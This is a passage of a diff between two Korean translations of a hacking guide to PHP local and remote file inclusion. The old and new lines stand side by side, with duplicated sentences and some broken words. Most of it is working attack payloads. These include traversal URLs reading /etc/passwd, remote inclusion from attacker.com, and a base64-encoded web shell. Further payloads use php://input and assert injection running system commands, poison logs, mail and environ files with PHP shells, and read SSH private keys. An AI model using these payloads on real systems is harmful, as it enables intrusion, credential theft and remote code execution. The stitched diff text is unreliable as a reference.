모든 예시는 로컬 파일 포함(Local File Inclusion)을 위한 것이지만 원격 파일 포함(Remote File Inclusion)에도 적용될 수 있습니다 (페이지=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
```
http://example.com/index.php?page=../../../etc/passwd
```
@ -61,7 +65,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
http://example.com/index.php?page=../../../etc/passwd%00
```
이것은 **PHP 5.4부터 해결되었습니다.**
이것은 **PHP 5.4부터 해결되었습니다**
### **인코딩**
@ -72,7 +76,7 @@ http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### From existent folder
### 기존 폴더에서
아마도 백엔드가 폴더 경로를 확인하고 있습니다:
```python
@ -82,20 +86,20 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
서버의 파일 시스템은 특정 기술을 사용하여 파일뿐만 아니라 디렉토리를 식별하기 위해 재귀적으로 탐색할 수 있습니다. 이 과정은 디렉토리 깊이를 결정하고 특정 폴더의 존재를 탐색하는 것을 포함합니다. 이를 달성하기 위한 자세한 방법은 다음과 같습니다:
1. **디렉토리 깊이 결정:** 현재 디렉토리의 깊이를 확인하기 위해 `/etc/passwd` 파일을 성공적으로 가져옵니다(서버가 Linux 기반인 경우 적용 가능). 예시 URL은 다음과 같이 구조화되어 깊이가 3임을 나타낼 수 있습니다:
1. **디렉토리 깊이 결정:** 현재 디렉토리의 깊이를 확인하기 위해 `/etc/passwd` 파일을 성공적으로 가져옵니다(서버가 Linux 기반인 경우 적용). 예시 URL은 다음과 같이 구조화되어 깊이가 3임을 나타낼 수 있습니다:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **폴더 탐색:** 의심되는 폴더의 이름(예: `private`)을 URL에 추가한 다음 `/etc/passwd`로 돌아갑니다. 추가 디렉토리 레벨은 깊이를 하나 증가시켜야 합니다:
2. **폴더 탐색:** 의심되는 폴더의 이름(예: `private`)을 URL에 추가한 다음 `/etc/passwd`로 돌아갑니다. 추가 디렉토리 수준은 깊이를 하나 증가시켜야 합니다:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **결과 해석:** 서버의 응답은 폴더의 존재 여부를 나타냅니다:
- **오류 / 출력 없음:** `private` 폴더는 지정된 위치에 존재하지 않을 가능성이 높습니다.
- **`/etc/passwd`의 내용:** `private` 폴더의 존재가 확인됩니다.
4. **재귀 탐색:** 발견된 폴더는 동일한 기술이나 전통적인 Local File Inclusion (LFI) 방법을 사용하여 하위 디렉토리나 파일을 추가로 조사할 수 있습니다.
4. **재귀 탐색:** 발견된 폴더는 동일한 기술이나 전통적인 로컬 파일 포함(LFI) 방법을 사용하여 하위 디렉토리나 파일을 추가로 조사할 수 있습니다.
파일 시스템의 다른 위치에서 디렉토리를 탐색하려면 페이로드를 적절히 조정하십시오. 예를 들어, `/var/www/``private` 디렉토리가 있는지 확인하려면 (현재 디렉토리가 깊이 3에 있다고 가정하고) 다음을 사용하십시오:
파일 시스템의 다른 위치에서 디렉토리를 탐색하려면 페이로드를 적절히 조정하십시오. 예를 들어, `/var/www/``private` 디렉토리가 있는지 확인하려면(현재 디렉토리가 깊이 3에 있다고 가정) 다음을 사용하십시오:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
@ -107,9 +111,9 @@ PHP에서는 파일 시스템의 특성으로 인해 파일 경로의 다양한
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, 및 `/etc/passwd/`는 모두 동일한 경로로 처리됩니다.
- 마지막 6자가 `passwd`일 때, `/`를 추가해도(`passwd/`) 대상 파일은 변경되지 않습니다.
- 마찬가지로, 파일 경로에 `.php`가 추가될 경우(`shellcode.php`와 같), 끝에 `/.`를 추가해도 접근하는 파일은 변경되지 않습니다.
- 마찬가지로, 파일 경로에 `.php`가 추가될 경우(`shellcode.php`와 같), 끝에 `/.`를 추가해도 접근하는 파일은 변경되지 않습니다.
제공된 예는 민감한 내용(사용자 계정 정보)으로 인해 일반적인 대상인 `/etc/passwd`에 접근하기 위해 경로 잘림을 활용하는 방법을 보여줍니다:
제공된 예는 민감한 내용(사용자 계정 정보)으로 인해 일반적인 대상인 `/etc/passwd`에 접근하기 위해 경로 잘림을 활용하는 방법을 보여줍니다:
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -144,12 +148,12 @@ php에서는 기본적으로 비활성화되어 있습니다. **`allow_url_inclu
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
어떤 이유로 **`allow_url_include`**가 **On**이지만 PHP가 외부 웹페이지에 대한 접근을 **filtering**하고 있다면, [이 게시물에 따르면](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), 예를 들어 base64로 인코딩된 PHP 코드를 디코드하고 RCE를 얻기 위해 데이터 프로토콜을 사용할 수 있습니다:
어떤 이유로 **`allow_url_include`**가 **On**이지만 PHP가 외부 웹페이지에 대한 접근을 **필터링**하고 있다면, [이 게시물](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/)에 따르면, 예를 들어 base64로 인코딩된 PHP 코드를 디코드하고 RCE를 얻기 위해 데이터 프로토콜을 사용할 수 있습니다:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!NOTE]
> 이전 코드에서 최종 `+.txt`는 공격자가 `.txt`로 끝나는 문자열이 필요했기 때문에 추가되었습니다. 그래서 문자열이 그것으로 끝나고 b64 디코드 후 그 부분은 단지 쓰레기를 반환하며 실제 PHP 코드가 포함될 것입니다 (따라서 실행됩니다).
> 이전 코드에서 최종 `+.txt`는 공격자가 `.txt`로 끝나는 문자열이 필요했기 때문에 추가되었습니다. 따라서 문자열은 그것으로 끝나고 b64 디코드 후 그 부분은 단순한 쓰레기를 반환하며 실제 PHP 코드가 포함됩니다(따라서 실행됩니다).
또 다른 예시 **`php://` 프로토콜을 사용하지 않는** 것은:
```
@ -169,15 +173,15 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
```
다음은 [문서](https://docs.python.org/3.10/library/os.path.html#os.path.join)에 따른 의도된 동작입니다:
> 구성 요소가 절대 경로인 경우, 모든 이전 구성 요소는 버려지고 절대 경로 구성 요소에서 결합이 계속됩니다.
> 구성 요소가 절대 경로인 경우, 모든 이전 구성 요소는 버려지고 절대 경로 구성 요소에서 계속 결합됩니다.
## Java 디렉토리 목록
Java에서 경로 탐색(Path Traversal)이 있는 경우 **파일 대신 디렉토리를 요청하면** **디렉토리 목록이 반환됩니다**. 다른 언어에서는 이런 일이 발생하지 않을 것입니다(내가 아는 한).
Java에서 경로 탐색(Path Traversal)이 있는 경우 **파일 대신 디렉토리를 요청하면** **디렉토리 목록이 반환됩니다**. 다른 언어에서는 (내가 아는 한) 이런 일이 발생하지 않을 것입니다.
## 상위 25개 매개변수
다음은 로컬 파일 포함(LFI) 취약점에 취약할 수 있는 상위 25개 매개변수 목록입니다(출처: [링크](https://twitter.com/trbughunters/status/1279768631845494787)):
다음은 로컬 파일 포함(LFI) 취약점에 취약할 수 있는 상위 25개 매개변수 목록입니다 (출처: [링크](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
@ -209,7 +213,7 @@ Java에서 경로 탐색(Path Traversal)이 있는 경우 **파일 대신 디렉
### php://filter
PHP 필터는 데이터가 읽히거나 쓰이기 전에 기본 **수정 작업을 수행**할 수 있게 해줍니다. 필터는 5가지 범주로 나니다:
PHP 필터는 데이터가 읽히거나 쓰이기 전에 기본 **수정 작업을 수행**할 수 있게 해줍니다. 필터는 5가지 범주로 나눌 수 있습니다:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
@ -225,7 +229,7 @@ PHP 필터는 데이터가 읽히거나 쓰이기 전에 기본 **수정 작업
- `convert.iconv.*` : 다른 인코딩으로 변환합니다(`convert.iconv.<input_enc>.<output_enc>`). **지원되는 모든 인코딩 목록**을 얻으려면 콘솔에서 `iconv -l`을 실행하세요.
> [!WARNING]
> `convert.iconv.*` 변환 필터를 남용하면 **임의의 텍스트를 생성**할 수 있으며, 이는 임의의 텍스트를 작성하거나 include 프로세스를 통해 임의의 텍스트를 만들 때 유용할 수 있습니다. 더 많은 정보는 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)를 확인하세요.
> `convert.iconv.*` 변환 필터를 남용하면 **임의의 텍스트를 생성**할 수 있으며, 이는 임의의 텍스트를 작성하거나 include 프로세스를 통해 임의의 텍스트를 처리하는 함수 만들기에 유용할 수 있습니다. 자세한 내용은 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)를 확인하세요.
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: 콘텐츠를 압축합니다 (많은 정보를 유출할 때 유용함)
@ -233,7 +237,7 @@ PHP 필터는 데이터가 읽히거나 쓰이기 전에 기본 **수정 작업
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : 사용 중단됨
- `mdecrypt.*` : 사용 중단됨
- Other Filters
- 기타 필터
- php에서 `var_dump(stream_get_filters());`를 실행하면 몇 가지 **예상치 못한 필터**를 찾을 수 있습니다:
- `consumed`
- `dechunk`: HTTP 청크 인코딩을 역전시킵니다.
@ -267,21 +271,21 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
> [!WARNING]
> "php://filter" 부분은 대소문자를 구분하지 않습니다.
### php 필터를 오라클로 사용하여 임의 파일 읽기
### php 필터를 오라클로 사용하여 임의 파일 읽기
[**이 게시물**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle)에서는 서버로부터 반환된 출력 없이 로컬 파일을 읽는 기술이 제안되었습니다. 이 기술은 **php 필터를 오라클로 사용하여 파일을 불리언 방식으로 유출하는 것**에 기반합니다. 이는 php 필터를 사용하여 텍스트를 충분히 크게 만들어 php가 예외를 발생시키도록 할 수 있기 때문입니다.
[**이 게시물**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle)에서는 서버에서 반환된 출력 없이 로컬 파일을 읽는 기술이 제안되었습니다. 이 기술은 **php 필터를 오라클로 사용하여 파일을 불리언 방식으로(문자별로) 유출하는 것**에 기반합니다. 이는 php 필터를 사용하여 텍스트를 충분히 크게 만들어 php가 예외를 발생시키도록 할 수 있기 때문입니다.
게시물에서는 기술에 대한 자세한 설명을 찾을 수 있지만, 여기 간단한 요약이 있습니다:
게시물에서는 기술에 대한 자세한 설명을 찾을 수 있지만, 여기 간단한 요약이 있습니다:
- **`UCS-4LE`** 코덱을 사용하여 텍스트의 선행 문자를 시작 부분에 두고 문자열의 크기를 기하급수적으로 증가시킵니다.
- 이는 **초기 문자가 올바르게 추측되었을 때 너무 큰 텍스트를 생성**하는 데 사용됩니다. 그러면 php가 **오류**를 발생시킵니다.
- 이는 **초기 문자가 올바르게 추측되었을 때 텍스트가 너무 커지도록** 생성하는 데 사용됩니다. 그러면 php가 **오류**를 발생시킵니다.
- **dechunk** 필터는 **첫 번째 문자가 16진수가 아닐 경우 모든 것을 제거**하므로 첫 번째 문자가 16진수인지 알 수 있습니다.
- 이것은 이전 것과 결합되어 (추측된 문자에 따라 다른 필터도 사용) 텍스트의 시작 부분에서 문자를 추측할 수 있게 해줍니다. 충분한 변환을 수행하여 16진수 문자가 아닌 경우를 확인합니다. 16진수라면 dechunk는 삭제하지 않으며 초기 폭탄이 php 오류를 발생시킵니다.
- **convert.iconv.UNICODE.CP930** 코덱은 각 문자를 다음 문자로 변환합니다 (예: a -> b). 이를 통해 첫 번째 문자가 `a`인지 발견할 수 있습니다. 예를 들어, 이 코덱을 6번 적용하면 a->b->c->d->e->f->g가 되어 문자가 더 이상 16진수 문자가 아니게 됩니다. 따라서 dechunk는 삭제하지 않으며 php 오류가 초기 폭탄과 곱해져 발생합니다.
- **rot13**과 같은 다른 변환을 시작 부분에 사용하면 n, o, p, q, r과 같은 다른 문자를 유출할 수 있습니다 (다른 코덱을 사용하여 다른 문자를 16진수 범위로 이동할 수 있습니다).
- 초기 문자가 숫자일 경우 base64로 인코딩하고 첫 문자를 유출하여 숫자를 유출해야 합니다.
- 이것은 이전 것과 결합되어(추측된 문자에 따라 다른 필터도 사용) 텍스트의 시작 부분에서 문자를 추측할 수 있게 해줍니다. 충분한 변환을 수행하여 16진수 문자가 아니게 만들 때를 확인합니다. 16진수인 경우 dechunk는 삭제하지 않으며 초기 폭탄이 php 오류를 발생시킵니다.
- **convert.iconv.UNICODE.CP930** 코덱은 각 문자를 다음 문자로 변환합니다(따라서 이 코덱 이후: a -> b). 이를 통해 첫 번째 문자가 `a`인지 발견할 수 있습니다. 예를 들어, 이 코덱을 6번 적용하면 a->b->c->d->e->f->g가 되어 문자가 더 이상 16진수 문자가 아니게 됩니다. 따라서 dechunk는 삭제하지 않으며 php 오류가 초기 폭탄과 곱해져 발생합니다.
- **rot13**과 같은 다른 변환을 시작 부분에 사용하면 n, o, p, q, r과 같은 다른 문자를 유출할 수 있습니다(다른 코덱을 사용하여 다른 문자를 16진수 범위로 이동할 수 있습니다).
- 초기 문자가 숫자일 경우 base64로 인코딩하고 첫 2개의 문자를 유출하여 숫자를 유출해야 합니다.
- 최종 문제는 **초기 문자 이상을 유출하는 방법**을 보는 것입니다. **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**와 같은 순서 메모리 필터를 사용하면 문자 순서를 변경하고 텍스트의 첫 번째 위치에 다른 문자를 가져올 수 있습니다.
- 추가 데이터를 얻기 위해서는 **초기 부분에 2바이트의 쓰레기 데이터를 생성**하는 아이디어가 필요합니다. **convert.iconv.UTF16.UTF16**을 사용하고 **UCS-4LE**를 적용하여 **다음 2바이트와 피벗**을 만들고, **쓰레기 데이터까지 데이터를 삭제**합니다 (이것은 초기 텍스트의 첫 2바이트를 제거합니다). 원하는 비트를 유출할 때까지 계속 진행합니다.
- 추가 데이터를 얻기 위해서는 **convert.iconv.UTF16.UTF16**으로 시작 부분에 **2바이트의 쓰레기 데이터를 생성**하고, **UCS-4LE**를 적용하여 **다음 2바이트와 피벗**을 만들고, **쓰레기 데이터까지 데이터를 삭제**합니다(이것은 초기 텍스트의 첫 2바이트를 제거합니다). 원하는 비트를 유출할 때까지 계속 진행합니다.
게시물에서는 이를 자동으로 수행하는 도구도 유출되었습니다: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
@ -333,13 +337,13 @@ http://example.com/index.php?page=expect://ls
```
### input://
POST 매개변수에 페이로드를 지정하십시오:
POST 매개변수에 페이로드를 지정하세요:
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
```
### phar://
`.phar` 파일은 웹 애플리케이션이 파일 로딩을 위해 `include`와 같은 함수를 사용할 때 PHP 코드를 실행하는 데 활용될 수 있습니다. 아래의 PHP 코드 조각은 `.phar` 파일의 생성을 보여줍니다:
`.phar` 파일은 웹 애플리케이션이 파일 로딩을 위해 `include`와 같은 함수를 사용할 때 PHP 코드를 실행하는 데 활용될 수 있습니다. 아래의 PHP 코드 조각은 `.phar` 파일을 생성하는 방법을 보여줍니다:
```php
<?php
$phar = new Phar('test.phar');
@ -367,7 +371,7 @@ phar-deserialization.md
### CVE-2024-2961
**php 필터를 지원하는 임의의 파일을 읽는 것을 악용하여 RCE를 얻는 것이 가능했습니다.** 자세한 설명은 [**이 게시물에서 찾을 수 있습니다**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
매우 간단한 요약: PHP 힙에서 **3바이트 오버플로우**가 악용되어 **특정 크기의 자유 청크 체인을 변경**하여 **어떤 주소에든 쓸 수 있게** 되었고, 그래서 **`system`**을 호출하는 후크가 추가되었습니다.\
매우 간단한 요약: PHP 힙에서 **3 바이트 오버플로우**가 악용되어 **특정 크기의 자유 청크 체인을 변경**하여 **어떤 주소에든 쓸 수 있게** 되었고, 그래서 **`system`**을 호출하는 후크가 추가되었습니다.\
더 많은 PHP 필터를 악용하여 특정 크기의 청크를 할당할 수 있었습니다.
### More protocols
@ -385,17 +389,17 @@ phar-deserialization.md
## LFI via PHP's 'assert'
PHP의 'assert' 함수와 관련된 Local File Inclusion (LFI) 위험은 문자열 내에서 코드를 실행할 수 있기 때문에 특히 높습니다. 입력에 ".."와 같은 디렉토리 탐색 문자가 포함되어 있지만 제대로 정리되지 않는 경우 특히 문제가 됩니다.
PHP의 'assert' 함수는 문자열 내에서 코드를 실행할 수 있어 Local File Inclusion (LFI) 위험이 특히 높습니다. 입력에 ".."와 같은 디렉토리 탐색 문자가 포함되어 있지만 제대로 정리되지 않는 경우 특히 문제가 됩니다.
예를 들어, PHP 코드는 다음과 같이 디렉토리 탐색을 방지하도록 설계될 수 있습니다:
```bash
assert("strpos('$file', '..') === false") or die("");
```
이것은 탐색을 지하는 것을 목표로 하지만, 의도치 않게 코드 주입을 위한 벡터를 생성합니다. 파일 내용을 읽기 위해 이를 악용하려는 공격자는 다음을 사용할 수 있습니다:
이것은 탐색을 지하는 것을 목표로 하지만, 의도치 않게 코드 주입을 위한 벡터를 생성합니다. 파일 내용을 읽기 위해 이를 악용하려는 공격자는 다음을 사용할 수 있습니다:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
마찬가지로, 임의의 시스템 명령을 실행하기 위해 다음을 사용할 수 있습니다:
마찬가지로, 임의의 시스템 명령을 실행하기 위해서는 다음을 사용할 수 있습니다:
```plaintext
' and die(system("id")) or '
```
@ -404,7 +408,7 @@ assert("strpos('$file', '..') === false") or die("");
## PHP 블라인드 경로 탐색
> [!WARNING]
> 이 기술은 **PHP 함수**의 **파일 경로**를 **제어**할 수 있는 경우에 관련이 있으며, 이 함수는 **파일에 접근**하지만 파일의 내용을 볼 수는 없습니다(예: **`file()`**에 대한 간단한 호출과 같이) 내용이 표시되지 않습니다.
> 이 기술은 **PHP 함수**의 **파일 경로**를 **제어**할 수 있는 경우에 관련이 있으며, 이 함수는 **파일에 접근**하지만 파일의 내용을 볼 수는 없습니다(예: **`file()`**에 대한 간단한 호출과 같이) 파일의 내용이 표시되지 않습니다.
[**이 놀라운 게시물**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)에서는 블라인드 경로 탐색이 PHP 필터를 통해 **오류 오라클을 통해 파일의 내용을 유출하는 방법**이 설명되어 있습니다.
@ -424,14 +428,14 @@ assert("strpos('$file', '..') === false") or die("");
### Apache/Nginx 로그 파일을 통한
Apache 또는 Nginx 서버가 **LFI에 취약**한 경우 포함 함수 내에서 **`/var/log/apache2/access.log` 또는 `/var/log/nginx/access.log`**에 접근하려고 시도할 수 있으며, **사용자 에이전트** 또는 **GET 매개변수** 내에 **`<?php system($_GET['c']); ?>`**와 같은 PHP 쉘을 설정하고 해당 파일을 포함할 수 있습니다.
Apache 또는 Nginx 서버가 **LFI에 취약**한 경우 포함 함수 내에서 **`/var/log/apache2/access.log` 또는 `/var/log/nginx/access.log`**에 접근 시도할 수 있으며, **사용자 에이전트** 또는 **GET 매개변수** 내에 **`<?php system($_GET['c']); ?>`**와 같은 PHP 쉘을 설정하고 해당 파일을 포함할 수 있습니다.
> [!WARNING]
> 쉘에 대해 **단일 인용부호** 대신 **이중 인용부호**를 사용하면 이중 인용부호가 "_**quote;**_" 문자열로 수정되므로, **PHP는 오류를 발생시킵니다**. 그리고 **다른 것은 실행되지 않습니다**.
> 쉘에 대해 **단일 인용부호** 대신 **이중 인용부호**를 사용하면 이중 인용부호가 "_**quote;**_" 문자열로 수정되며, **PHP는 그곳에서 오류를 발생시킵니다** 그리고 **다른 것은 실행되지 않습니다**.
>
> 또한, **페이로드를 올바르게 작성해야** 하며, 그렇지 않으면 PHP는 로그 파일을 로드하려고 할 때마다 오류가 발생하고 두 번째 기회를 갖지 못합니다.
> 또한, **페이로드를 올바르게 작성해야 합니다**. 그렇지 않으면 PHP는 로그 파일을 로드하려고 할 때마다 오류가 발생하며 두 번째 기회를 갖지 못할 것입니다.
작업은 다른 로그에서도 수행할 수 있지만 **주의하세요**, 로그 내의 코드는 URL 인코딩될 수 있으며, 이는 쉘을 파괴할 수 있습니다. 헤더 **authorisation "basic"**는 Base64로 "user:password"를 포함하며, 로그 내에서 디코딩됩니다. PHPShell은 이 헤더 내에 삽입될 수 있습니다.\
은 다른 로그에서도 수행할 수 있지만 **주의하세요**, 로그 내의 코드는 URL 인코딩될 수 있으며, 이는 쉘을 파괴할 수 있습니다. 헤더 **authorisation "basic"**는 Base64로 "user:password"를 포함하며, 로그 내에서 디코딩됩니다. PHPShell은 이 헤더 내에 삽입될 수 있습니다.\
다른 가능한 로그 경로:
```python
/var/log/apache2/access.log
@ -448,16 +452,16 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
### 이메일을 통한 방법
**내부 계정(user@localhost)으로 메일을 보내고** PHP 페이로드를 포함니다. 예: `<?php echo system($_REQUEST["cmd"]); ?>` 그리고 **`/var/mail/<USERNAME>`** 또는 **`/var/spool/mail/<USERNAME>`** 경로를 사용하여 사용자의 메일에 포함시키도록 시도합니다.
**내부 계정(user@localhost)으로 메일을 보내고** PHP 페이로드를 포함시킵니다. 예: `<?php echo system($_REQUEST["cmd"]); ?>` 그리고 **`/var/mail/<USERNAME>`** 또는 **`/var/spool/mail/<USERNAME>`** 경로를 사용하여 사용자의 메일에 포함시키도록 시도합니다.
### /proc/\*/fd/\*를 통한 방법
1. 많은 쉘을 업로드합니다 (예: 100개)
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD)를 포함니다. 여기서 $PID는 프로세스의 PID(무작위로 추측 가능)이고 $FD는 파일 디스크립터(무작위로 추측 가능)입니다.
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD)를 포함시킵니다. 여기서 $PID는 프로세스의 PID(무작위로 추측 가능)이고, $FD는 파일 디스크립터(무작위로 추측 가능)입니다.
### /proc/self/environ을 통한 방법
로그 파일처럼, User-Agent에 페이로드를 보내면 /proc/self/environ 파일 에 반영됩니다.
로그 파일처럼, User-Agent에 페이로드를 보내면 /proc/self/environ 파일 에 반영됩니다.
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
@ -470,15 +474,15 @@ http://example.com/index.php?page=path/to/uploaded/file.png
```
파일을 읽기 쉽게 유지하기 위해서는 사진/doc/pdf의 메타데이터에 주입하는 것이 가장 좋습니다.
### Zip 파일 업로드를 통한
### Zip 파일 업로드를 통한 방법
PHP 이 압축된 ZIP 파일을 업로드하고 접근합니다:
PHP 이 압축된 ZIP 파일을 업로드하고 접근합니다:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
### Via PHP sessions
웹사이트가 PHP 세션(PHPSESSID)을 사용하는지 확인하십시오.
웹사이트가 PHP 세션(PHPSESSID)을 사용하는지 확인하세요.
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
@ -498,18 +502,18 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s
```
### Via ssh
ssh가 활성화되어 있으면 사용 중인 사용자 확인하기 (/proc/self/status & /etc/passwd) 및 **\<HOME>/.ssh/id_rsa**에 접근 시도하기
ssh가 활성화되어 있으면 어떤 사용자가 사용되고 있는지 확인하십시오 (/proc/self/status & /etc/passwd) 그리고 **\<HOME>/.ssh/id_rsa**에 접근해 보십시오.
### **Via** **vsftpd** _**logs**_
FTP 서버 vsftpd의 로그는 _**/var/log/vsftpd.log**_에 위치합니다. Local File Inclusion (LFI) 취약점이 존재하고 노출된 vsftpd 서버에 접근할 수 있는 경우, 다음 단계를 고려할 수 있습니다:
FTP 서버 vsftpd의 로그는 _**/var/log/vsftpd.log**_에 위치합니다. Local File Inclusion (LFI) 취약점이 존재하고 노출된 vsftpd 서버에 접근할 수 있는 시나리오에서는 다음 단계를 고려할 수 있습니다:
1. 로그인 과정에서 사용자 이름 필드에 PHP 페이로드 주입하기.
2. 주입 후, LFI를 이용하여 _**/var/log/vsftpd.log**_에서 서버 로그를 검색하기.
1. 로그인 과정에서 사용자 이름 필드에 PHP 페이로드를 주입합니다.
2. 주입 후, LFI를 이용하여 _**/var/log/vsftpd.log**_에서 서버 로그를 검색합니다.
### Via php base64 filter (using base64)
[](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 기사에서 보여준 것처럼, PHP base64 필터는 Non-base64를 무시합니다. 이를 사용하여 파일 확장자 검사를 우회할 수 있습니다: ".php"로 끝나는 base64를 제공하면, "."를 무시하고 "php"를 base64에 추가합니다. 다음은 예시 페이로드입니다:
[](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 기사에서 보여준 것처럼, PHP base64 필터는 Non-base64를 무시합니다. 이를 사용하여 파일 확장자 검사를 우회할 수 있습니다: ".php"로 끝나는 base64를 제공하면, 단순히 "."를 무시하고 "php"를 base64에 추가합니다. 다음은 예시 페이로드입니다:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
@ -517,7 +521,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Via php filters (no file needed)
이 [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)는 **php 필터를 사용하여 임의의 콘텐츠**를 출력으로 생성할 수 있음을 설명합니다. 이는 기본적으로 **파일에 작성할 필요 없이 임의의 php 코드를 생성**할 수 있음을 의미합니다.
이 [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)는 **php 필터를 사용하여 임의의 콘텐츠**를 출력으로 생성할 수 있음을 설명합니다. 이는 기본적으로 **파일에 작성할 필요 없이** 포함할 **임의의 php 코드를 생성할 수 있음을 의미합니다.**
{{#ref}}
lfi2rce-via-php-filters.md
@ -525,7 +529,7 @@ lfi2rce-via-php-filters.md
### Via segmentation fault
**Upload** a file that will be stored as **temporary** in `/tmp`, then in the **same request,** trigger a **segmentation fault**, and then the **temporary file won't be deleted** and you can search for it.
**파일을 업로드**하여 `/tmp`**임시로** 저장한 다음, **같은 요청에서** **세그멘테이션 오류**를 발생시키면 **임시 파일이 삭제되지 않고** 이를 검색할 수 있습니다.
{{#ref}}
lfi2rce-via-segmentation-fault.md
@ -533,7 +537,7 @@ lfi2rce-via-segmentation-fault.md
### Via Nginx temp file storage
**Local File Inclusion**을 발견하고 **Nginx**가 PHP 앞에서 실행되고 있다면 다음 기술을 사용하여 RCE를 얻을 수 있습니다:
**로컬 파일 포함**을 발견하고 **Nginx**가 PHP 앞에서 실행되고 있다면 다음 기술을 사용하여 RCE를 얻을 수 있습니다:
{{#ref}}
lfi2rce-via-nginx-temp-files.md
@ -541,7 +545,7 @@ lfi2rce-via-nginx-temp-files.md
### Via PHP_SESSION_UPLOAD_PROGRESS
**Local File Inclusion**을 발견했지만 **세션이 없고** `session.auto_start``Off`인 경우에도 가능합니다. **multipart POST** 데이터에 **`PHP_SESSION_UPLOAD_PROGRESS`**를 제공하면 PHP가 **세션을 활성화**합니다. 이를 악용하여 RCE를 얻을 수 있습니다:
**로컬 파일 포함**을 발견했더라도 **세션이 없고** `session.auto_start``Off`인 경우, **`PHP_SESSION_UPLOAD_PROGRESS`**를 **multipart POST** 데이터에 제공하면 PHP가 **세션을 활성화합니다**. 이를 악용하여 RCE를 얻을 수 있습니다:
{{#ref}}
via-php_session_upload_progress.md
@ -549,7 +553,7 @@ via-php_session_upload_progress.md
### Via temp file uploads in Windows
**Local File Inclusion**을 발견하고 서버가 **Windows**에서 실행되고 있다면 RCE를 얻을 수 있습니다:
**로컬 파일 포함**을 발견하고 서버가 **Windows**에서 실행되고 있다면 RCE를 얻을 수 있습니다:
{{#ref}}
lfi2rce-via-temp-file-uploads.md
@ -557,53 +561,53 @@ lfi2rce-via-temp-file-uploads.md
### Via `pearcmd.php` + URL args
[**이 포스트에서 설명된 바와 같이**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), 스크립트 `/usr/local/lib/phppearcmd.php`는 php 도커 이미지에서 기본적으로 존재합니다. 또한, URL 매개변수가 `=`가 없으면 인수로 사용해야 한다고 명시되어 있기 때문에 URL을 통해 스크립트에 인수를 전달할 수 있습니다.
[**이 게시물에서 설명된 바와 같이**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), 스크립트 `/usr/local/lib/phppearcmd.php`는 php 도커 이미지에서 기본적으로 존재합니다. 또한, URL을 통해 스크립트에 인수를 전달할 수 있는 것이 가능하며, URL 매개변수에 `=`가 없으면 인수로 사용해야 한다고 명시되어 있습니다.
다음 요청은 `/tmp/hello.php``<?=phpinfo()?>`라는 내용을 가진 파일을 생성합니다:
```bash
